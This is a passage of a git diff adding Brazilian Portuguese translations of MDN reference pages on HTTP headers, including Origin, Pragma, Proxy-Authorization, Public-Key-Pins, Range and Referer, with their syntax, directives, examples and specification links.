{{HTTPStatus("301")}}, {{HTTPStatus("302")}}, {{HTTPStatus("303")}}, {{HTTPStatus("307")}}, {{HTTPStatus("308")}}.</li> +</ul> diff --git a/files/pt-br/web/http/headers/nel/index.html b/files/pt-br/web/http/headers/nel/index.html new file mode 100644 index 0000000000..850c145784 --- /dev/null +++ b/files/pt-br/web/http/headers/nel/index.html @@ -0,0 +1,52 @@ +--- +title: NEL +slug: Web/HTTP/Headers/NEL +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Referencia + - Registro de Erros de Rede + - cabeçalho +translation_of: Web/HTTP/Headers/NEL +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>NEL</code></strong> é usado para configurar o registro de <em>logs</em> de requisição na rede.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">NEL: { "report_to": "name_of_reporting_group", "max_age": 12345, "include_subdomains": false, "success_fraction": 0.0, "failure_fraction": 1.0 } +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + </tr> + <tr> + <td><a href="https://w3c.github.io/network-error-logging/#nel-response-header">Registro de Erros de Rede</a></td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Network_Error_Logging">Explicação do Registro de Redes de Log [Network Error Logging (NEL)]</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/origin/index.html b/files/pt-br/web/http/headers/origin/index.html new file mode 100644 index 0000000000..f110e557d7 --- /dev/null +++ b/files/pt-br/web/http/headers/origin/index.html @@ -0,0 +1,87 @@ +--- +title: Origin +slug: Web/HTTP/Headers/Origin +tags: + - Cabeçalho de requisição + - HTTP + - Origem + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Origin +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição <strong><code>Origin</code></strong> indica onde a requisição se originou. Ele não inclui nenhuma informação do caminho, somente o nome do servidor. Ele é enviado com requisições {{Glossary("CORS")}}, também como requisições {{HTTPMethod("POST")}}. Ele é similar ao cabeçalho {{HTTPHeader("Referer")}}, mas, diferente deste cabeçalho, ele não mostra o caminho inteiro.</p> + +<div class="blockIndicator note"> +<p><strong>Nota</strong>: O cabeçalho {{httpheader("Origin")}} não é colocado em <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">requisições Fetch</a> com um método {{HTTPMethod("HEAD")}} ou {{HTTPMethod("GET")}} (este comportamento foi corrigido no Firefox 65 — veja {{bug(1508661)}}).</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Origin: null +Origin: <scheme> "://" <hostname> [ ":" <port> ] +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><scheme></dt> + <dd>O protocolo que é usado. Usualmente ele é o protocolo HTTP ou na sua versão segura, HTTPS.</dd> + <dt><hostname></dt> + <dd>O nome do domínio do servidor (para <em>host</em> virtual) ou o endereço IP.</dd> + <dt><port> {{optional_inline}}</dt> + <dd>O número da porta TCP que o servidor está escutando. Se a porta não é dada, a porta padrão do serviço requisitado é implítica (e.g., "80" para uma URL HTTP).</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">Origin: https://developer.mozilla.org</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Comentários</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6454", "Origin", "7")}}</td> + <td>Conceito da Origem da Internet</td> + </tr> + <tr> + <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td> + <td>Substitui o cabeçalho <code>Origin</code> como definido na RFC6454.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<div>{{Compat("http.headers.Origin")}}</div> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> + <li>{{HTTPHeader("Referer")}}</li> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/pragma/index.html b/files/pt-br/web/http/headers/pragma/index.html new file mode 100644 index 0000000000..863e0cab99 --- /dev/null +++ b/files/pt-br/web/http/headers/pragma/index.html @@ -0,0 +1,81 @@ +--- +title: Pragma +slug: Web/HTTP/Headers/Pragma +tags: + - Cacheamento + - Depreciado + - HTTP + - cabeçalho + - requisição +translation_of: Web/HTTP/Headers/Pragma +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho genérico HTTP/1.0 <code><strong>Pragma</strong></code> é um cabeçalho de implementação específica que pode ter vários efeitos ao longo da cadeia de requisição e resposta. Ele é usado para compatibilidade retroativa com caches do HTTP/1.0 onde o cabeçalho HTTP/1.1 <code>Cache-Control</code> ainda não está presente.</p> + +<div class="note"> +<p><strong>Nota</strong>: <code>Pragma</code> não é especificado para respostas HTTP e por isso não é uma substituição confiável para o cabeçalho genérico HTTP/1.1 <code>Cache-Control</code>, apesar de ele ter o mesmo comportamento que <code>Cache-Control: no-cache</code>, se o cabeçalho <code>Cache-Control</code> for omitido na requisição. Use <code>Pragma</code> somente para compatibilidade retroativa com clientes HTTP/1.0.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("General header")}}, mas o comportamente de resposta não é especificado e portanto específico de implementação.</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted response header")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Pragma: no-cache +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt>no-cache</dt> + <dd> + <p>O mesmo que <code>Cache-Control: no-cache</code>. Força os caches a mandarem uma requisição ao servidor de origem para validação antes de liberar a versão cacheada.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">Pragma: no-cache</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7234", "Pragma", "5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Pragma")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Expires")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/proxy-authenticate/index.html b/files/pt-br/web/http/headers/proxy-authenticate/index.html new file mode 100644 index 0000000000..4c3a9c338a --- /dev/null +++ b/files/pt-br/web/http/headers/proxy-authenticate/index.html @@ -0,0 +1,85 @@ +--- +title: Proxy-Authenticate +slug: Web/HTTP/Headers/Proxy-Authenticate +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Proxy + - Referencia +translation_of: Web/HTTP/Headers/Proxy-Authenticate +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Proxy-Authenticate</code></strong> define o método de autenticação que deve ser utilizado para conseguir acesso ao recurso por trás de um {{Glossary("proxy server")}}. Ele autentica a requisição ao servidor proxy, permitindo que transmita a requisição em frente.</p> + +<p>O cabeçalho <code>Proxy-Authenticate</code> é enviado junto com um {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Proxy-Authenticate: <type> realm=<realm> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><type></dt> + <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo de autenticação</a>. Um tipo comum é <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. A IANA mantém uma <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">lista de esquemas de autenticação</a>.</dd> + <dt>realm=<realm></dt> + <dd>A descrição da área protegida, o reino. Se um reino não foi especificado, clientes geralmente mostram um nome de <em>host</em> formatado.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">Proxy-Authenticate: Basic + +Proxy-Authenticate: Basic realm="Access to the internal site" +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7235", "Proxy-Authenticate", "4.3")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Proxy-Authenticate")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">Autenticação HTTP</a></li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/proxy-authorization/index.html b/files/pt-br/web/http/headers/proxy-authorization/index.html new file mode 100644 index 0000000000..8203042adc --- /dev/null +++ b/files/pt-br/web/http/headers/proxy-authorization/index.html @@ -0,0 +1,83 @@ +--- +title: Proxy-Authorization +slug: Web/HTTP/Headers/Proxy-Authorization +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Proxy-Authorization +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>Proxy-Authorization</code></strong> contém as credenciais para autenticar o agente de usuário em um servidor proxy, usualmente depois do servidor responder com um código de status {{HTTPStatus("407")}} <code>Proxy Authentication Required</code> e cabeçalho {{HTTPHeader("Proxy-Authenticate")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Proxy-Authorization: <type> <credentials></pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><type></dt> + <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo de autentação</a>. Um tipo comum é <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. Veja também o <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">registro IANA de esquemas de autenticação</a>.</dd> + <dt><credentials></dt> + <dd>As credenciais são construídas assim: + <ul> + <li>O nome de usuário e senha combinados com dois pontos (<code>aladdin:opensesame</code>).</li> + <li>O resultado é uma cadeia de caracteres codificado em <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li> + </ul> + + <div class="note"> + <p><strong>Nota</strong>: Codificação Base64 não significa encriptação ou hashing! Esse método é igualmente seguro se mandar as credenciais em texto limpo (base64 é uma codificação reversível). Prefira o uso de HTTPS em conjunto com Autenticação Básica.</p> + </div> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">Proxy-Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7235", "Proxy-Authorization", "4.4")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">Autenticação HTTP</a></li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/public-key-pins-report-only/index.html b/files/pt-br/web/http/headers/public-key-pins-report-only/index.html new file mode 100644 index 0000000000..082b05d730 --- /dev/null +++ b/files/pt-br/web/http/headers/public-key-pins-report-only/index.html @@ -0,0 +1,89 @@ +--- +title: Public-Key-Pins-Report-Only +slug: Web/HTTP/Headers/Public-Key-Pins-Report-Only +tags: + - Depreciado + - HPKP + - HTTP + - Obsoleto + - Segurança + - cabeçalho +translation_of: Web/HTTP/Headers/Public-Key-Pins-Report-Only +--- +<p>{{HTTPSidebar}}{{deprecated_header}}</p> + +<div class="blockIndicator note"><strong>Nota:</strong> O mecanismo de Fixação de Chave Pública (<em>Public Key Pinning</em>) foi depreciado em favor do <a href="/en-US/docs/Web/Security/Certificate_Transparency">Certificado de Transparência (Certificate Transparency)</a> e do cabeçalho {{HTTPHeader("Expect-CT")}}.</div> + +<p>O cabeçalho de resposta HTTP <code><strong>Public-Key-Pins-Report-Only</strong></code> era utilizado para enviar relatórios de violação de fixação para a <code>report-uri</code> especificada em cabeçalho mas, diferente do {{HTTPHeader("Public-Key-Pins")}} que ainda permite os navegadores se conectarem ao servidor se a fixação é violada. O cabeçalho é silenciosamente ignorado em navegadores modernos já que o suporte para HPKP foi removido. Use o <a href="/en-US/docs/Web/Security/Certificate_Transparency">Certificado de Transparência</a> e o cabeçalho {{HTTPHeader("Expect-CT")}} ao invés disso.</p> + +<p>Para mais informação, veja a página de referência do cabeçalho {{HTTPHeader("Public-Key-Pins")}} e o artigo de <a href="/en-US/docs/Web/HTTP/Public_Key_Pinning">Fixação de Chaves Públicas HTTP (HTTP Public Key Pinning)</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Public-Key-Pins-Report-Only: pin-sha256="<pin-value>"; + max-age=<expire-time>; + includeSubDomains; + report-uri="<uri>"</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>pin-sha256="<pin-value>"</code></dt> + <dd>A cadeia de caracteres entre aspas duplas é a impressão digital da Informação da Chave Pública do Sujeito [<em>Subject Public Key Information</em> ({{Glossary("SPKI")}})] codificada em Base64. É possível especificar múltiplos <em>pins</em> para diferentes chaves públicas. Alguns navegadores podem permitir outros algoritmos de hasheamento além do SHA-256 no futuro.</dd> + <dt>max-age=<expire-time></dt> + <dd>Esta diretiva não tem significado para o cabeçalho Public-Key-Pins-Report-Only, ela será ignorada pelos agentes de usuário e o cabeçalho não será cacheado.</dd> + <dt><code>includeSubDomains</code> {{optional_inline}}</dt> + <dd>Se este parâmetro opcional for especificado, esta regra é aplicada a todos os subdomínios do site também.</dd> + <dt><code>report-uri="<uri>"</code></dt> + <dd>Falhas na validação da fixação são reportadas para a URL dada. Esta diretiva deve ser usada com este cabeçalho, caso contrário o cabeçalho não terá efeito.</dd> +</dl> + +<h2 id="Exemplo">Exemplo</h2> + +<pre class="notranslate">Public-Key-Pins-Report-Only: + pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; + pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; + includeSubDomains; + report-uri="https://www.example.org/hpkp-report"</pre> + +<p>Neste exemplo, <strong>pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="</strong> fixa a chave pública do servidor em produção. A segunda declaração de fixação <strong>pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="</strong> também fixa a chave de <em>backup</em>. Esta fixação de chave também é válida para todos os subdomínios, que é dito pela declaração <strong>includeSubDomains</strong>. Finalmente, <strong>report-uri="https://www.example.org/hpkp-report"</strong> explica para onde devem ser reportar falhas de validação de fixação.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7469", "Public-Key-Pins-Report-Only", "2.1")}}</td> + <td>Public Key Pinning Extension for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Public-Key-Pins-Report-Only")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Public-Key-Pins")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/public-key-pins/index.html b/files/pt-br/web/http/headers/public-key-pins/index.html new file mode 100644 index 0000000000..d9f98be919 --- /dev/null +++ b/files/pt-br/web/http/headers/public-key-pins/index.html @@ -0,0 +1,95 @@ +--- +title: Public-Key-Pins +slug: Web/HTTP/Headers/Public-Key-Pins +tags: + - Depreciado + - HPKP + - HTTP + - Obsoleto + - Referencia + - Segurança + - cabeçalho +translation_of: Web/HTTP/Headers/Public-Key-Pins +--- +<div>{{HTTPSidebar}}{{deprecated_header}}</div> + +<div class="blockIndicator note"><strong>Nota:</strong> O mecanismo de Fixação de Chaves Públicas (Public Key Pinning) foi depreciado em favor do <a href="/en-US/docs/Web/Security/Certificate_Transparency">Certificado de Transparência</a> e do cabeçalho {{HTTPHeader("Expect-CT")}}.</div> + +<p>O cabeçalho de resposta HTTP <code><strong>Public-Key-Pins</strong></code> usado para associar uma {{Glossary("key")}} pública criptográfica especifica com um certo servidor web para reduzir o risco de ataques {{Glossary("MITM")}} com certificados forjados, entretanto, ele foi removido em navegadores modernos e não é mais suportado. Use <a href="/en-US/docs/Web/Security/Certificate_Transparency">Certificado de Transparência</a> e o cabeçalho {{HTTPHeader("Expect-CT")}} ao invés disso.</p> + +<p>Para mais informação, veja o artigo <em><a href="/en-US/docs/Web/HTTP/Public_Key_Pinning">HTTP Public Key Pinning</a></em>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Public-Key-Pins: pin-sha256="<pin-value>"; + max-age=<expire-time>; + includeSubDomains; + report-uri="<uri>"</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>pin-sha256="<pin-value>"</code></dt> + <dd>A cadeia de caracteres entre aspas duplas é a impressão digital da Informação da Chave Pública do Sujeito [<em>Subject Public Key Information</em> ({{Glossary("SPKI")}})] codificada em Base64. É possível especificar múltiplos <em>pins</em> para diferentes chaves públicas. Alguns navegadores podem permitir outros algoritmos de hasheamento além do SHA-256 no futuro.</dd> + <dt><code>max-age=<expire-time></code></dt> + <dd>O tempo, em segundos, que o navegador deve lembrar que o site só deve ser acessado usando uma das chaves definidas.</dd> + <dt><code>includeSubDomains</code> {{optional_inline}}</dt> + <dd>Se este parâmetro opcional é especificado, este regra vale para todos os subdomínios do site também.</dd> + <dt><code>report-uri="<uri>"</code> {{optional_inline}}</dt> + <dd>Se este parâmetro opcional é especificado, validações de <em>pin</em> que falharam são reportadas ao URL dado.</dd> +</dl> + +<h2 id="Exemplo">Exemplo</h2> + +<div class="warning"> +<p id="HPKP_has_the_potential_to_lock_out_users_for_a_long_time_if_used_incorrectly!_The_use_of_backup_certificates_andor_pinning_the_CA_certificate_is_recommend.">HPKP tem o potencial de bloquear usuários por um longo período de tempo de usado incorretamente! O uso de <em>backup</em> de certificados e/ou fixação do Autoridade de Certificados é recomendado.</p> +</div> + +<pre class="notranslate">Public-Key-Pins: + pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; + pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; + max-age=5184000; includeSubDomains; + report-uri="https://www.example.org/hpkp-report"</pre> + +<p>Neste exemplo, <strong>pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="</strong> fixa a chave pública do servidor usada em produção. A segunda declaração de fixação <strong>pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="</strong> também fixa a chave de <em>backup</em>. <strong>max-age=5184000</strong> diz ao cliente para guardar esta informação por dois meses, que é um tempo limite razoável de acordo com a IETF RFC. Esta fixação de chave também é valida para todos os subdomínios, que é dito pela declaração do <strong>includeSubDomains</strong>. Finalmente, <strong>report-uri="https://www.example.org/hpkp-report"</strong> diz para onde reportar as validação de fixação que falharam.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7469", "Public-Key-Pins", "2.1")}}</td> + <td>Public Key Pinning Extension for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Public-Key-Pins")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</li> + <li>{{HTTPHeader("Expect-CT")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/range/index.html b/files/pt-br/web/http/headers/range/index.html new file mode 100644 index 0000000000..440120fd3b --- /dev/null +++ b/files/pt-br/web/http/headers/range/index.html @@ -0,0 +1,94 @@ +--- +title: Range +slug: Web/HTTP/Headers/Range +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Referencia + - Requisições de Intervalo +translation_of: Web/HTTP/Headers/Range +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>Range</code></strong> indica a parte do documento que o servidor deve retornar. Várias partes podem ser requisitadas com um cabeçalho <code>Range</code> de uma vez, e o servidor pode mandar de volta estes intervalos em um documento de múltiplas partes. Se o servidor manda de volta os intervalos, ele usa o {{HTTPStatus("206")}} <code>Partial Content</code> para resposta. Se os intervalos são inválidos, o servidor retorna o erro {{HTTPStatus("416")}} <code>Range Not Satisfiable</code>. O servidor também pode ignorar o cabeçalho <code>Range</code> e enviar o documento inteiro com um código de status {{HTTPStatus("200")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Range: <unit>=<range-start>- +Range: <unit>=<range-start>-<range-end> +Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end> +Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>, <range-start>-<range-end> +Range: <unit>=-<suffix-length></pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><unit></dt> + <dd>A unidade no qual os intervalos são especificados. É geralmente em <code>bytes</code>.</dd> +</dl> + +<dl> + <dt><range-start></dt> + <dd>Um inteiro na dada unidade indicando o começo da requisição de intervalo.</dd> + <dt><range-end></dt> + <dd>Um inteiro na dada unidade indicando o fim da requisição de intervalo. Este valor é opcional e, se omitido, o fim do documento é utilizado como fim do intervalo.</dd> + <dt><suffix-length></dt> + <dd>Um inteiro na dada unidade indicando o número de unidades ao fim do arquivo para retornar.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Requisitando três intervalos deste arquivo.</p> + +<pre class="notranslate">Range: bytes=200-1000, 2000-6576, 19000- +</pre> + +<p>Requisitando os primeiros 500 e últimos 500 <em>bytes</em> do arquivo. A requisição pode ser rejeitada pelo servidor se os intervalos se sobrepõem.</p> + +<pre class="notranslate">Range: bytes=0-499, -500 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7233", "Range", "3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Range")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPStatus("206")}} <code>Partial Content</code></li> + <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li> +</ul> diff --git a/files/pt-br/web/http/headers/referer/index.html b/files/pt-br/web/http/headers/referer/index.html new file mode 100644 index 0000000000..5fc94d349a --- /dev/null +++ b/files/pt-br/web/http/headers/referer/index.html @@ -0,0 +1,88 @@ +--- +title: Referer +slug: Web/HTTP/Headers/Referer +tags: + - HTTP + - Reference + - Referencia + - Referenciado + - cabeçalho + - header + - referer +translation_of: Web/HTTP/Headers/Referer +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <code><strong>Referer</strong></code> contém o endereço da página web anterior do qual a página atual requerida foi chamada. O <code>Referer</code> permite aos servidores identificar de onde as pessoas estão visitando eles e pode usar esses dados para análise, log e cacheamento otimizado, por exemplo.</p> + +<div class="warning"> +<p><strong>Importante</strong>: Apesar que esse cabeçalho tenha diversos usos inocentes, ele pode ter consequências undesejáveis para segurança e privacidade dos usuários. Veja <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Referer header: privacy and security concerns</a> para mais informações e mitigações.</p> +</div> + +<p>Note que <em>referer </em>é na verdade, uma má pronúncia da palavra "referrer"("referenciador"). Veja {{interwiki("wikipedia", "HTTP_referer", "HTTP referer no Wikipedia")}} para mais detalhes.</p> + +<p>O cabeçalho <code>Referer</code> não é enviado pelos navegadores se:</p> + +<ul> + <li>O recurso referenciado é um arquivo local ou URI de dados.</li> + <li>Uma requisição HTTP insegura é usada e a página referenciada utilizou o protocolo seguro (HTTPS).</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Referer: <url> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><url></dt> + <dd>Um endereço parcial ou absoluto da página web anterior do qual a página atual requirida foi alcançada. Fragmentos de URL (i.e. "#section") e informações de usuário (i.e. "username:password" em "https://username:password@example.com/foo/bar/") não são inclusos.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Referer", "5.5.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + 